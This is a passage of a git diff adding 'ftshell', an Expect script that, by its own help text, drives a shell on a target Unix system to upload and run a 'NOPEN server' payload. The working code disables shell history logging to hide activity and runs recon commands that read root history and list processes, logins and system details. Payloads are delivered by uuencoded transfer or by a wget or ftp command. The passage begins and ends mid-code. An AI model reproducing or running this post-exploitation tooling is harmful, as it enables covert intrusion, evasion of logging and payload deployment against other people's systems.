(/\[^\r\n]*perl)" $expect_out(1,string) ignore perlPath + regexp ".*\r\n.*\r\n.*is (/\[^\r\n]*uncompress)" $expect_out(1,string) ignore uncompressPath + regexp ".*\r\n.*\r\n.*\r\n.*is (/\[^\r\n]*gzip)" $expect_out(1,string) ignore gzipPath + } + } else { + send "export HOME=\"\"\r" + expect -re $prompt + send "setenv HOME \"\"\r" + expect -re $prompt + send "which uudecode perl uncompress gzip\r" + expect -re "(.*)\r\n.*$prompt" { + regexp "(/\[^\r\n]*uudecode)" $expect_out(1,string) ignore uudecodePath + regexp ".*\r\n(/\[^\r\n]*perl)" $expect_out(1,string) ignore perlPath + regexp ".*\r\n(/\[^\r\n]*uncompress)" $expect_out(1,string) ignore uncompressPath + regexp ".*\r\n(/\[^\r\n]*gzip)" $expect_out(1,string) ignore gzipPath + } + if [regexp " no" $uudecodePath] { + set uudecodePath "" + } + if [regexp " no" $perlPath] { + set perlPath "" + } + if [regexp " no" $uncompressPath] { + set uncompressPath "" + } + if [regexp " no" $gzipPath] { + set gzipPath "" + } + } + + # This (may) avoids incorrectly NOT recognizing the output of type + send "\r" + expect -re $prompt + + send_verbose "\nPATH TO: uudecode $uudecodePath\n" + send_verbose "PATH TO: perl $perlPath\n" + send_verbose "PATH TO: uncompress $uncompressPath\n" + send_verbose "PATH TO: gzip $gzipPath\n\n" + + + send "stty -echo\r" + expect -re $prompt + send_verbose "disabling echo: " + + + + set nocompress "" + set usegzip "" + if ![regexp "uncompress" $uncompressPath] { + send_verbose "No uncompress\n" + if ![ regexp "gzip" $gzipPath] { + send_verbose "No compress or gzip...will not compress upload\n" + set nocompress "yes" + } else { + send_verbose "No compress but there is gzip...will uncompress with gzip -dc\n" + set usegzip "yes" + } + } + + if ![regexp "uudecode" $uudecodePath] { + send_verbose "No uudecode\n" + if ![regexp "perl" $perlPath] { + send_verbose "No perl or uudecode...cannot send file\n" + send "stty echo\r" + return + } else { + send_verbose "Using perl for uudecode\n" + set uudecodeCMD "$perlPath -e ' +\$_ = <> until (\$mode,\$file) = /^begin\\s(\\d*)\\s*(\\S*)/; +open (OUT,\"> \$file\") if \$file ne \"\"; +while (<>) { + last if /^end/; + next if /a-z/; + next unless int ((((ord() - 32) & 077) + 2) / 3) == int(length() / 4); + print OUT unpack (\"u\",\$_) ; +} +close (OUT); +chmod oct \$mode, \$file ; +print \"Just created \$file: + +ls -al \$file*\\n\"; +print `ls -al \$file*`; +'" + } + } else { + set uudecodeCMD $uudecodePath + } + + + set needEOF 0 + if [string match *.uu $infile] { + send_user "not encoding or compressing" + set local_cmd "cat $infile" + set remote_cmd "cat > $outfile < $outfile && rm -f $label" + } else { + set remote_cmd "$uudecodeCMD && $uncompressPath -cf $label > $outfile && rm -f $label" + } + } + + send_verbose "\nlocal command: $local_cmd\n" + send_verbose "remote command: $remote_cmd\n" + + if [rcmd "touch $outfile\r"] { + send_user "put failed -- can't write to destination file\n" + expect -re $prompt + send "stty echo\r" + log_user 1 + return 1 + } + + if { $needEOF == 1 } { + # Turn off PS2 prompt for hear-is documents + if [rcmd "PS2=\r"] { + send_user "Unable to clear PS2 variable\n" + expect -re $prompt + log_user 1 + return 1 + } + } + + # Calculate amount of data to transfer + send_user "\nTotal bytes to transfer: " + set fp [open "|$local_cmd | wc -c" r] + gets $fp buf + send_user "$buf\n" + + + # Issue remote command to recieve data + send_verbose "sending...\n" + send "\r" + expect -re $prompt + send "$remote_cmd\r" + + log_user 0 + + set fp [open "|$local_cmd" r] + set bytesTransfered 0 + while 1 { + if {-1 == [gets $fp buf]} break + send -- "$buf\n" + updateStatus "sent" [string length $buf] + } + updateStatus "sent" 0 + + if ($verbose_flag) { + send_user "\n" + log_user 1 + } + + if ($needEOF) { + send "EOF\r" + } else { + send "\r" + } + + close $fp + + + if [file executable $infile] { + if [rcmd "chmod +x $outfile\r"] { + send_user "chmod failed\n" + } + } + + rcmd "stty echo\r" + + log_user 1 +} + +proc interactivebanner {} { + global showthis + set nowTime [timestamp] + + send_user "+\n+ ftshell: ENTERING INTERACTIVE MODE at \n\+ " + send_user [timestamp -format " %c" -seconds $nowTime] + send_user " $showthis\n+----------------------------------------------------\n" +} + +proc dounsets {} { + global prompt + + send "\r" + expect -re $prompt + send "unset HISTFILE\r" + expect -re $prompt + send "unset HISTSIZE\r" + expect -re $prompt + send "unset HISTFILESIZE\r" + expect -re $prompt +} + +proc dothisfirst {} { + global dothisquiet + global dothisreallyquiet + global prompt + global showthis + + dounsets + if { ![string match "yes" $dothisquiet] } { + send "ls -alrt / | tail\r" + expect -re $prompt + send "ls -alrt /tmp | tail\r" + expect -re $prompt + send "cd /dev ; ps -ef | grep $$\r" + expect -re $prompt + send "cd /tmp ; ps -ef | grep $$\r" + expect -re $prompt + } + if { ![string match "yes" $dothisreallyquiet] } { + send "tail /.*history | strings ; echo ======= ; tail /root/.*history | strings \r" + expect -re $prompt + interactivebanner + send "w ; date ; date -u ; df -k ; uname -a ; cd /tmp ; pwd\r" + expect -re $prompt + } else { + interactivebanner + send "cd /tmp ; pwd\r" + expect -re $prompt + } +} + +proc interactive {} { + global prompt + global dodothis + global dobash + global user_break + global showthis + global usewhich + global usesetenv + + if { [string match "yes" $dodothis] } { + dothisfirst + } + if { [string match "yes" $dobash] } { + set findwith "type" + if ($usewhich) { + set findwith "which" + } + set setshell "SHELL=/bin/bash" + if ($usesetenv) { + set setshell "setenv SHELL /bin/bash" + } + send "$findwith bash && $setshell && exec bash\r" + expect -re $prompt + dounsets + interactivebanner + send "\[ \"\$BASH\" = \"/bin/bash\" -o \"\$SHELL\" = \"/bin/bash\" \] && PS1=\">>\\d \\t \[pwd:\\w\]\\n\\u@\\h \\\\\$ \"\r" + expect -re $prompt + } + + while [catch "interact ~~ cmd" msg] { + send_user "interact failed - perhaps the connection died\n" + send_user "hit (c) to continue agin, or (q) to quit\n" + stty -raw echo + expect_user { + c { send_user "continue...\n" } + q { send_user "quitting...\n"; exit 1 } + } + stty raw -echo + # exit 1 + } + if ($user_break) { + exit 1 ; + } else { + exit 0 + } +} + +proc processUpload {} { + global prompt + global uLocalFile uRemoteFile uBeforeCmd uAfterCmd uStayOn + global user_spawn_id + global uudecodeCMD + global user_break + global uRemoteUploadCommand + global dobash + global usewhich + global usesetenv + + stty raw echo + + # If the user presses CTRL-c, pass it on and switch to interactive mode + expect_after { + -i $user_spawn_id \003 { + send "\003" + set user_break 1 + set dothisreallyquiet "yes" + send_user "\n\nUSER BREAK--ENTERING INTERACTIVE MODE (-Quietly)\n\n" + interactive + } + } + + send_user "Processing upload\n" + + if { [string match "yes" $dobash] } { + set findwith "type" + if ($usewhich) { + set findwith "which" + } + set setshell "SHELL=/bin/bash" + if ($usesetenv) { + set setshell "setenv SHELL /bin/bash" + } + send "$findwith bash && $setshell && exec bash\r" + expect -re $prompt + dounsets + interactivebanner + send "\[ \"\$BASH\" = \"/bin/bash\" -o \"\$SHELL\" = \"/bin/bash\" \] && PS1=\">>\\d \\t \[pwd:\\w\]\\n\\u@\\h \\\\\$ \"\r" + expect -re $prompt + } + + + dothisfirst + + if { [string match "" $uBeforeCmd] == 0 } { + send "$uBeforeCmd\r" + send "echo ebc\r" + expect { + -re "(.*)ebc\r\n.*$prompt" { } + } + send "\r" + expect -re $prompt + } + + if { [string length $uRemoteUploadCommand] > 0 } { + send "\r" + expect -re $prompt + send_verbose "ABOUT TO UPLOAD $uRemoteFile via::${uRemoteUploadCommand}::\r" + send "${uRemoteUploadCommand}\r" + expect -re $prompt + } else { + if { [string length $uRemoteFile] > 0 } { + put $uLocalFile $uRemoteFile + } else { + put $uLocalFile $uLocalFile + } + if { [string length $uudecodeCMD] <= 0 } { + send "stty echo\r" + set user_break 1 + send_verbose "\033\[1;31mCANNOT UUDECODE! Aborting!\a\n" + sleep 1 + send_verbose "\033\[1;33mCANNOT UUDECODE! Aborting!!\a\n" + sleep 1 + send_verbose "\033\[1;31mCANNOT UUDECODE! Aborting!!!\a\n" + sleep 1 + send_verbose "\033\[1;33mCANNOT UUDECODE! Aborting upload and going INTERACTIVE\a\033\[0;39m\n" + sleep 2 + interactive + } + } + + if { [string length $uAfterCmd] > 0 } { + send "$uAfterCmd\r" + expect -re $prompt + } + + if { [string length $uStayOn] > 0 } { + interactive + } else { + send "echo eac\r" + expect -re "(.*)eac\r\n.*$prompt" + send "exit\r" + expect eof + } + exit 0 +} + +proc cmd {} { + global prompt + + set CTRLZ \032 + + send_user "Command (g,p,? for more): " + expect_user { + g { + if [catch {get_main} msg] { + send_user "get command aborting, Reason: $msg\n" + send "\003\r" + expect -re $prompt + send "\r" + send "stty echo\r" + stty raw -echo + send "\r" + } + } + p { + if [catch {put_main} msg] { + send_user "put command aborting, Reason: $msg\n" + send "\003\r" + expect -re $prompt + send "stty echo\r" + stty raw -echo + send "\r" + } + } + c chdir + v verbose + e toggleExitCheck + ~ {send "~"} + "\\?" { + send_user "?\n" + send_user "~~g get file from remove system\n" + send_user "~~p put file to remote system\n" + send_user "~~c change/show local directory\n" + send_user "~~~ send ~ to remote system\n" + send_user "~~? this list\n" + send_user "~~v verbose mode toggle (currently [verbose_status])\n" + send_user "~~e exit code check toggle (currently [exitCheck])\n" + send_user "~~^Z suspend\n" + } + $CTRLZ { + stty -raw echo + exec kill -STOP 0 + stty raw -echo + } + -re . {send_user "unknown command\n"} + } + send_user "resuming session...\n" + send "\r" + expect -re $prompt +} + +# Chatch SIGINT +trap -code { + send_user "\n" + send_user "got a control-C\n" + error controlc +} SIGINT + +# Begin main routine + +if [info exists env(EXPECT_PROMPT)] { + set prompt $env(EXPECT_PROMPT) +} else { + set prompt "(%|:|#|\\$)\[ ]*$" +} + +set user_break 0 +set version 3.8.0.1 +set timeout -1 +set verbose_flag 1 +set checkExitStatus 1 +set bytesTransfered 0 +set sawCtrlC 0 + +# Get a version of uudecode that writes the output to stdout +# This is for the local system, not the remote one. +set os [exec uname -s] +if {[string compare $os "Linux"] == 0} { + set uudecode "uudecode -o /dev/stdout" +} elseif {[string compare $os "SunOS"] == 0} { + set uudecode "uudecode -p" +} else { + send_user "Unknown OS type '$os', can't determine args to uudecode\n"; + exit 1 +} + +# Give response to -v version request and exit +if {[string match "-v" $argv] == 1} { + send_user "ftshell Version $version\n" + exit 0 +} + +if {[string match "-h" $argv] == 1} { + send_user " +Usage: ftshell \[options\] program \[arguments\] + +ftshell is an expect script that (locally) runs the program \[arguments\] +provided, normally some sort of shell access to another Unix system. +It allows for either automatic or interactive upload/download of files +using some combination of uu*code, compress, gzip, perl. + +Or, using the -U option, automatic file transfer can be achieved via a +user-provided string which results in a file being transferred to the +system (e.g., ftp, wget, etc.) + +Normally, ftshell is used by ourtn and the payload being uploaded is a +NOPEN server. But ftshell is usable directly by the user, as well. + +OPTIONS (MUST BE SPACE DELIMITED, EACH OPTION GETTING ITS OWN \"-\") + + -h/-v Show usage/version. + -I Run some info gathering commands when connected, before + either automatic upload/execution or user interaction. + Commands run: + ls -alrt / | tail + ls -alrt /tmp | tail + cd /dev ; ps -ef | grep \$\$ + cd /tmp ; ps -ef | grep \$\$ + tail /.*history | strings ; echo ======= + tail /root/.*history | strings + w ; date ; date -u ; df -k ; uname -a + cd /tmp ; pwd + -q Used with -I, skips the first four lines above. + -Q Used with -I, skips all but the last line above. + -B Try to exec bash if available. + -E Use setenv to set variables not \"VAR=val\". + -u file Upload file automatically once connected. If upload cannot + be done due to lack of proper Unix commands on target, an + interactive shell is provided instead. Use the \$A and \$B + environment variables to prepare for and run the file, + respectively, or to otherwise do stuff on target. + -w Use which (not type) to find target commands for upload. + -r rname Uploaded file name on target. + -L Leave the shell in interactive mode after automatic upload + is complete. (Default is to exit the shell.) + -U --str-- Execute the \"--\" delimited string \"str\" provided to + upload the file rather than the -u method. End result must + be that rname exists in /tmp. This will normally be a wget + or ftp command. If for some reason (e.g., a previous + failed attempt) the right binary is already there, --str-- + could just be --echo--, to basically do nothing at that + step. NOTE: --str-- CANNOT contain any \";\" characters. + But \"\\&\\&\" works (yes, you must escape them). + +ENVIRONMENT VARIABLES + B Run the contents of \$B before the automatic upload. + A Run the contents of \$A after the automatic upload. + SHOWTHIS String to show user once connected. + +ftshell Version $version +" + exit 0 +} + +if [regexp "(.*)\\-I (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -I : Issuing recon commands\n" + set dodothis "yes" +} else { + set dodothis "" +} + +if [regexp "(.*)\\-q (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -q : Being quiet about it (no ps or ls)\n" + set dothisquiet "yes" +} else { + set dothisquiet "" +} + +if [regexp "(.*)\\-Q (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -Q : Being REALLY quiet about it (no tail, ps, ls, date or uname)\n" + set dothisquiet "yes" + set dothisreallyquiet "yes" +} else { + set dothisreallyquiet "" +} + +if [regexp "(.*)\\-w (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -w : Using which instead of type\n" + set usewhich 1 +} else { + set usewhich 0 +} + +if [regexp "(.*)\\-E (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -E : Using setenv syntax\n" + set usesetenv 1 +} else { + set usesetenv 0 +} + +if [regexp "(.*)\\-B (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -B : Switching to /bin/bash if available\n" + set dobash "yes" +} else { + set dobash "" +} + +# See if uudecode (and therefore uuencode) is around LOCALLY. +if [catch "exec which uudecode" msg] { + send_user "Can't find uudecode anywhere in PATH\n" + exit 1 +} +if {[string match "/*" $msg] == 0} { + send_user "Can't find uudecode anywhere in PATH\n" + exit 1 +} + +if [regexp "(.*)\\-u ((\[^ \])*)(.*)" $argv ignore ava uLocalFile ignore avb] { + send_user "Local File : $uLocalFile\n" + set argv "$ava $avb" +} else { + set uLocalFile "" +} + +if [regexp "(.*)\\-r ((\[^ \])*)(.*)" $argv ignore ava uRemoteFile ignore avb] { + send_user "ftshell Remote File : $uRemoteFile\n" + set argv "$ava $avb" +} else { + set uRemoteFile "" +} + +if [regexp "(.*)\\-L (.*)" $argv ignore ava avb] { + send_user "ftshell -L : Keeping shell alive\n" + set uStayOn "1" + set argv "$ava $avb" +} else { + set uStayOn "" +} + +if [regexp "(.*)\\-U \\-\\-(.*)\\-\\-(.*)" $argv ignore ava uRemoteUploadCommand avb] { + if { [string length $uLocalFile] > 1 } { + send_user "ftshell: Fatal error. Cannot use -u $uLocalFile with -U" + exit 1 + } + send_user "ftshell -U : using -U to upload with::${uRemoteUploadCommand}::\n" + set argv "$ava $avb" +} else { + set uRemoteUploadCommand "" +} + + +if [info exists env(B)] { + set uBeforeCmd $env(B) + send_user "ftshell Before Command: $uBeforeCmd\n" +} else { + set uBeforeCmd "" +} + +if [info exists env(A)] { + set uAfterCmd $env(A) + send_user "ftshell After Command : $uAfterCmd\n" +} else { + set uAfterCmd "" +} + +if [info exists env(SHOWTHIS)] { + set showthis $env(SHOWTHIS) +} else { + set showthis "" +} + +if [catch "spawn $argv" msg] { + send_user "spawn failed: $msg\n" + send_user "\nDid by chance you forget to specify a command to run?\n" + send_user " $argv\n" + exit $? +} + +if { [string length $uLocalFile] > 0 } { processUpload } +if { [string length $uRemoteUploadCommand] > 0 } { processUpload } + +send_user "\n" +send_user "+----------------------------------------------------\n" +send_user "+ Welcome to ftshell v.$version -- File Transter Shell\n" +send_user "+ Use ~~ to access menu/commands.\n" +send_user "+ You may need to add extra ~ characters if you\n" +send_user "+ are logged in via something like rlogin.\n" +send_user "+ Typing a ^C during a file transfer, will probably\n" +send_user "+ kill this program and anything you run through it\n" +send_user "+ \n" +send_user "+ New: Interactive mode now always executes a few\n" +send_user "+ commands (unset, ps, grep, w, date, etc.)\n" +send_user "+----------------------------------------------------\n" + +#expect -re $prompt +#send "exec sh\r" +#expect -re $prompt + +set user_break 0 + + +interactive diff --git a/Linux/bin/ftshell.v3.9.0.2 b/Linux/bin/ftshell.v3.9.0.2 new file mode 100755 index 0000000..3189a98 --- /dev/null +++ b/Linux/bin/ftshell.v3.9.0.2 @@ -0,0 +1,1108 @@ +#!/bin/sh +# +# Automatically generated from ftshell.tcl +#----------------------------------------- +# +# Automatically generated from ftshell.tcl +#----------------------------------------- +# Run this in expect, the backslash makes the next line (exec) +# a comment to expect but not the shell \ +exec expect -f "$0" -- ${1+"$@"} + +## $RCSfile: ftshell.tcl,v $ $Revision: 1.38 $ + + +# +# ftshell -- File Transfer Shell +# +# An expect wrapper arround telnet that adds functions +# via an "~~" escape to up/down -load files. +# + +# Toggle verbose status +proc verbose {} { + global verbose_flag + set verbose_flag [expr !$verbose_flag] + send_user "verbose [verbose_status]\r\n" +} +# Return verbose status +proc verbose_status {} { + global verbose_flag + if ($verbose_flag) { + return "on" + } else { + return "off" + } +} +# send_user if verbose is on +proc send_verbose {msg} { + global verbose_flag + + if $verbose_flag { + send_user $msg + } +} + +# Toggle check of remote commands +proc toggleExitCheck {} { + global checkExitStatus + set checkExitStatus [expr !$checkExitStatus] + send_user "check exit status [exitCheck]\r\n" +} + +# Get value of exitCheck +proc exitCheck {} { + global checkExitStatus + if ($checkExitStatus) { + return "on" + } else { + return "off" + } +} + +# local cd +proc chdir {} { + stty -raw echo + send_user "c\n" + send_user "current directory : [pwd]\n" + send_user "change to directory: " + expect_user -re "(.*)\n" { + set newDir $expect_out(1,string) + if [string length $newDir] { + if [catch {cd $newDir} msg] { + send_user "failed: $msg\n" + } + send_user "local directory now: [pwd]\n" + } else { + send_user "local directory unchanged\n" + } + } + stty raw -echo +} + +# get names for file for a 'get' +proc get_main {} { + global prompt + stty -raw echo + send_user "g\nget remote file \[localfile]: " + expect_user { + -re "(\[^ ]+) +(\[^ ]+)\n" { + set f1 $expect_out(1,string) + set f2 $expect_out(2,string) + send_user "copying (remote) $f1 to (local) $f2\n" + send "sh\r" + expect -re $prompt + send "unset HISTFILE\r" + expect -re $prompt + send "unset HISTFILESIZE\r" + expect -re $prompt + send "PS1='xfer$ '\r" + expect -re $prompt + get $f1 $f2 + send "exit\r" + expect -re $prompt + } + -re "(\[^ ]+)\n" { + set f1 $expect_out(1,string) + send_user "copying $expect_out(1,string)\n" + send "sh\r" + expect -re $prompt + send "unset HISTFILE\r" + expect -re $prompt + send "unset HISTFILESIZE\r" + expect -re $prompt + send "PS1='xfer$ '\r" + expect -re $prompt + get $f1 $f1 + send "exit\r" + expect -re $prompt + } + -re "\n" { + send_user "nothing transfered\n" + } + } + stty raw -echo +} + +#get names of files for a 'put' +proc put_main {} { + global prompt + stty -raw echo + send_user "p\nput localfile \[remotefile]: " + expect_user { + -re "(\[^ ]+) +(\[^ ]+)\n" { + set f1 $expect_out(1,string) + set f2 $expect_out(2,string) + send_user "copying (local) $f1 to (remote) $f2\n" + send "sh\r" + expect -re $prompt + send "PS1='xfer$ '\r" + expect -re $prompt + dounsets + put $f1 $f2 + send "exit\r" + expect -re $prompt + } + -re "(\[^ ]+)\n" { + set f1 $expect_out(1,string) + send_user "copying $f1\n" + send "sh\r" + expect -re $prompt + dounsets + send "PS1='xfer$ '\r" + expect -re $prompt + put $f1 $f1 + send "exit\r" + expect -re $prompt + } + -re "\n" { + send_user "nothing transfered\n" + } + } + stty raw -echo +} + +# Get PID on remote system +proc getrpid {} { + global prompt + send_verbose "remote pid is " + send "echo $$\r" + expect -re "(.*)\r\n.*$prompt" { + set rpid $expect_out(1,string) + } +} + +# +# update the bytes transfered status message. Update the display +# no more often then once per second unless 'amount' is 0 which +# means fource an update. +# Negative 'amount's may not work as expected. +# +proc updateStatus {direction amount} { + global bytesTransfered + global lastUpdateStatus + global startTime + + if {$bytesTransfered == 0} { + send_user "\n" + set lastUpdateStatus 0 + set startTime [timestamp] + send_user [timestamp -format "Transfer started at %c\n" -seconds $startTime] + } + + set newTime [timestamp] + if { $amount != 0 } { + # Add one for the newline + set bytesTransfered [expr $bytesTransfered + $amount + 1] + } + + # Only update once per second. however, + # if amount is 0 then force update + if {$lastUpdateStatus < $newTime || $amount == 0} { + set lastUpdateStatus $newTime + set timeDelta [expr $newTime - $startTime] + if {$timeDelta == 0} { + set dataRate 0 + } else { + set dataRate [expr $bytesTransfered / $timeDelta] + } + send_user "\r" + send_user "Bytes $direction: $bytesTransfered; Transfer rate: $dataRate B/s " + } +} + +# Run command via send on remote system +# Waits till comand has completed and then grabs +# its exit status and returns that +proc rcmd {cmd} { + global prompt + global checkExitStatus + + send_verbose "rcmd--> $cmd\n" + send -- $cmd + expect -re $prompt + + if {$checkExitStatus == 0} { + return 0 + } + + set ologuser [log_user 1] +# set ologuser [log_user 0] + set status 999 + + send "echo \$?\r" + send_verbose "echo \$?\n" + expect { + -re "(\[0-9]+)\r\n" { + set status $expect_out(1,string) + } + } + expect -re $prompt + + log_user $ologuser + + # Return to normal modes -- so calling routine need + # only do a return. + if {$status != 0} { + send "stty echo\r" + set cmd [string trimright $cmd "\r"] + send_user "remote command '$cmd' failed; code=$status\n" + log_user 1 + } + + return $status +} + +# Get file from remote system +proc get {infile outfile} { + global prompt verbose_flag bytesTransfered + global uudecode + + + if (!$verbose_flag) { + log_user 0 + } + + send_verbose "disabling echo: " +# send "echo not doing stty -echo\r" + send "stty -echo\r" + expect -re $prompt + + set label "uulabel" + if [string match *.uu $infile] { + send_user "not encoding or compressing\n" + set remote_cmd "cat $infile" + set local_cmd "cat > $outfile" + } elseif [regexp "\.(Z|gz|bz2)$" $infile] { + send_user "not compressing\n" + set remote_cmd "cat $infile | uuencode $label | cat" + set local_cmd "$uudecode > $outfile" + } else { + set remote_cmd "compress -fc $infile | uuencode $label | cat"; + set local_cmd "$uudecode | uncompress -cf > $outfile" + } + + send_verbose "\nremote command: $remote_cmd\n" + send_verbose "local command: $local_cmd\n" + + # Calculate amount of data to transfer + send_user "Total bytes to transfer: " + send "$remote_cmd | wc -c\r" + expect -re $prompt + + set out [open "|$local_cmd" w] +# send_verbose "open returned\n" + + send "$remote_cmd\r" + + + log_user 0 + + set bytesTransfered 0 + expect { + -re "^end\r\n" { + puts $out "end" + close $out + updateStatus "received" [string length "end"] + } + -re "^(\[^\r]*)\r\n" { + puts $out $expect_out(1,string) + updateStatus "received" [string length $expect_out(1,string)] + exp_continue + } + -re "xfer\\$ $" { +exp_continue + send_user "caught prompt - aborting xfer\n" + send '\003' + } + } + updateStatus "received" 0 + + if ($verbose_flag) { + send_user "\n" + log_user 1 + } + + expect -re $prompt + + + send "stty echo\r" + log_user 1 +} + +# send file to remote system +proc put {infile outfile} { + global prompt verbose_flag bytesTransfered + global errorCode + global errorInfo + global uudecodeCMD + global usewhich + + set uudecodeCMD "" + if (!$verbose_flag) { + log_user 0 + } + + # Note: We can't assume that uudecode on the remote + # system takes the -p argument :-( + +# send_verbose "remote pid is " +# send "echo $$\r" +# expect -re "(.*)\r\n.*$prompt" { +# set rpid $expect_out(1,string) +# } + + + set uudecodePath "not found" + set perlPath "not found" + set uncompressPath "not found" + set gzipPath "not found" + + # This (may) avoids incorrectly NOT recognizing the output of type +# send "\r" +# expect -re $prompt + + if (!$usewhich) { + send "type uudecode perl uncompress gzip\r" + # sleep may help avoid incorrectly NOT recognizing the output of type? + sleep 1 + expect -re "(.*)\r\n.*$prompt" { + regexp "uudecode is (/\[^\r\n]*uudecode)" $expect_out(1,string) ignore uudecodePath + regexp "perl is (/\[^\r\n]*perl)" $expect_out(1,string) ignore perlPath + regexp "uncompress is (/\[^\r\n]*uncompress)" $expect_out(1,string) ignore uncompressPath + regexp "gzip is (/\[^\r\n]*gzip)" $expect_out(1,string) ignore gzipPath + } +# expect -re "(.*)\r\n.*$prompt" { +# regexp "is (/\[^\r\n]*uudecode)" $expect_out(1,string) ignore uudecodePath +# regexp ".*\r\n.*is (/\[^\r\n]*perl)" $expect_out(1,string) ignore perlPath +# regexp ".*\r\n.*\r\n.*is (/\[^\r\n]*uncompress)" $expect_out(1,string) ignore uncompressPath +# regexp ".*\r\n.*\r\n.*\r\n.*is (/\[^\r\n]*gzip)" $expect_out(1,string) ignore gzipPath +# } + } else { + send "setenv HOME \"\"\r" + sleep 1 + expect -re $prompt + send "HOME=\"\" export HOME\r" + sleep 1 + expect -re $prompt + send "which uudecode perl uncompress gzip\r" + expect -re "(.*)\r\n.*$prompt" { + regexp "(/\[^\r\n]*uudecode)" $expect_out(1,string) ignore uudecodePath + regexp "(/\[^\r\n]*perl)" $expect_out(1,string) ignore perlPath + regexp "(/\[^\r\n]*uncompress)" $expect_out(1,string) ignore uncompressPath + regexp "(/\[^\r\n]*gzip)" $expect_out(1,string) ignore gzipPath + } + if [regexp "no " $uudecodePath] { + set uudecodePath "Not found" + } + if [regexp "no " $perlPath] { + set perlPath "Not found" + } + if [regexp "no " $uncompressPath] { + set uncompressPath "Not found" + } + if [regexp "no " $gzipPath] { + set gzipPath "Not found" + } + } + + # This (may) avoids incorrectly NOT recognizing the output of type + send "\r" + expect -re $prompt + + send_verbose "\nPATH TO: uudecode $uudecodePath\n" + send_verbose "PATH TO: perl $perlPath\n" + send_verbose "PATH TO: uncompress $uncompressPath\n" + send_verbose "PATH TO: gzip $gzipPath\n\n" + + + send_verbose "disabling echo: " + send "stty -echo\r" + expect -re $prompt + + + + set nocompress "" + set usegzip "" + if ![regexp "uncompress" $uncompressPath] { + send_verbose "No uncompress\n" + if ![ regexp "gzip" $gzipPath] { + send_verbose "No compress or gzip...will not compress upload\n" + set nocompress "yes" + } else { + send_verbose "No compress but there is gzip...will uncompress with gzip -dc\n" + set usegzip "yes" + } + } + + if ![regexp "uudecode" $uudecodePath] { + send_verbose "No uudecode\n" + if ![regexp "perl" $perlPath] { + send_verbose "No perl or uudecode...cannot send file\n" + send "stty echo\r" + return + } else { + send_verbose "Using perl for uudecode\n" + set uudecodeCMD "$perlPath -e ' +\$_ = <> until (\$mode,\$file) = /^begin\\s(\\d*)\\s*(\\S*)/; +open (OUT,\"> \$file\") if \$file ne \"\"; +while (<>) { + last if /^end/; + next if /a-z/; + next unless int ((((ord() - 32) & 077) + 2) / 3) == int(length() / 4); + print OUT unpack (\"u\",\$_) ; +} +close (OUT); +chmod oct \$mode, \$file ; +print \"Just created \$file: + +ls -al \$file*\\n\"; +print `ls -al \$file*`; +'" + } + } else { + set uudecodeCMD $uudecodePath + } + + + set needEOF 0 + if [string match *.uu $infile] { + send_user "not encoding or compressing" + set local_cmd "cat $infile" + set remote_cmd "cat > $outfile < $outfile && rm -f $label" + } else { + set remote_cmd "$uudecodeCMD && $uncompressPath -cf $label > $outfile && rm -f $label" + } + } + + send_verbose "\nlocal command: $local_cmd\n" + send_verbose "remote command: $remote_cmd\n" + + if [rcmd "touch $outfile\r"] { + send_user "put failed -- can't write to destination file\n" + expect -re $prompt + send "stty echo\r" + log_user 1 + return 1 + } + + if { $needEOF == 1 } { + # Turn off PS2 prompt for hear-is documents + if [rcmd "PS2=\r"] { + send_user "Unable to clear PS2 variable\n" + expect -re $prompt + log_user 1 + return 1 + } + } + + # Calculate amount of data to transfer + send_user "\nTotal bytes to transfer: " + set fp [open "|$local_cmd | wc -c" r] + gets $fp buf + send_user "$buf\n" + + + # Issue remote command to recieve data + send_verbose "sending ...\n" + send "\r" + expect -re $prompt + send "$remote_cmd\r" + + log_user 0 + + set fp [open "|$local_cmd" r] + set bytesTransfered 0 + while 1 { + if {-1 == [gets $fp buf]} break + send -- "$buf\n" + updateStatus "sent" [string length $buf] + } + updateStatus "sent" 0 + + if ($verbose_flag) { + send_user "\n" + log_user 1 + } + + if ($needEOF) { + send "EOF\r" + } else { + send "\r" + } + + close $fp + + + if [file executable $infile] { + if [rcmd "chmod +x $outfile\r"] { + send_user "chmod failed\n" + } + } + + rcmd "stty echo\r" + send "\r" + expect -re $prompt + + log_user 1 +} + +proc interactivebanner {} { + global showthis + set nowTime [timestamp] + + send_user "+\n+ ftshell: ENTERING INTERACTIVE MODE at \n\+ " + send_user [timestamp -format " %c" -seconds $nowTime] + send_user " $showthis\n+----------------------------------------------------\n" +} + +proc execbash {forced} { + global dobash + global prompt + global usewhich + global usesetenv + global bashcount + + # argument forced forces another exec bash even if + # $bashcount or !$dobash (allows ~~B to work). + + if { $bashcount && !$forced } { + return + } + if { $dobash || $forced } { + set bashcount [expr $bashcount + 1] + set findwith "type" + if ($usewhich) { + set findwith "which" + } + set setshell "SHELL=/bin/bash" + if ($usesetenv) { + set setshell "setenv SHELL /bin/bash" + } + dounsets + send "$findwith bash && $setshell && exec bash\r" + expect -re $prompt + dounsets + send "\[ \"\$BASH\" = \"/bin/bash\" -o \"\$SHELL\" = \"/bin/bash\" \] && PS1=\">>\\d \\t \[pwd:\\w\]\\n\\u@\\h \\\\\$ \"\r" + expect -re $prompt + } +} +proc dounsets {} { + global prompt + + send "\r" + expect -re $prompt + send "unset HISTFILE HISTSIZE HISTFILESIZE\r" + expect -re $prompt +} + +proc dothisfirst {} { + global dothisquiet + global dothisreallyquiet + global prompt + global showthis + global donealready + + dounsets + if { $donealready } { + return + } + set donealready 1 + if { ![string match "yes" $dothisquiet] } { + send "ls -alrt / | tail\r" + expect -re $prompt + send "ls -alrt /tmp | tail\r" + expect -re $prompt + send "cd /dev ; ps -ef | grep $$\r" + expect -re $prompt + send "cd /tmp ; ps -ef | grep $$\r" + expect -re $prompt + } + if { ![string match "yes" $dothisreallyquiet] } { + send "tail /.*history | strings ; echo ======= ; tail /root/.*history | strings \r" + expect -re $prompt + send "w ; date ; date -u ; df -k ; uname -a ; cd /tmp ; pwd\r" + expect -re $prompt + } else { + send "cd /tmp ; pwd\r" + expect -re $prompt + } +} + +proc interactive {} { + global prompt + global dodothis + global dobash + global user_break + global showthis + global usewhich + global usesetenv + + if { [string match "yes" 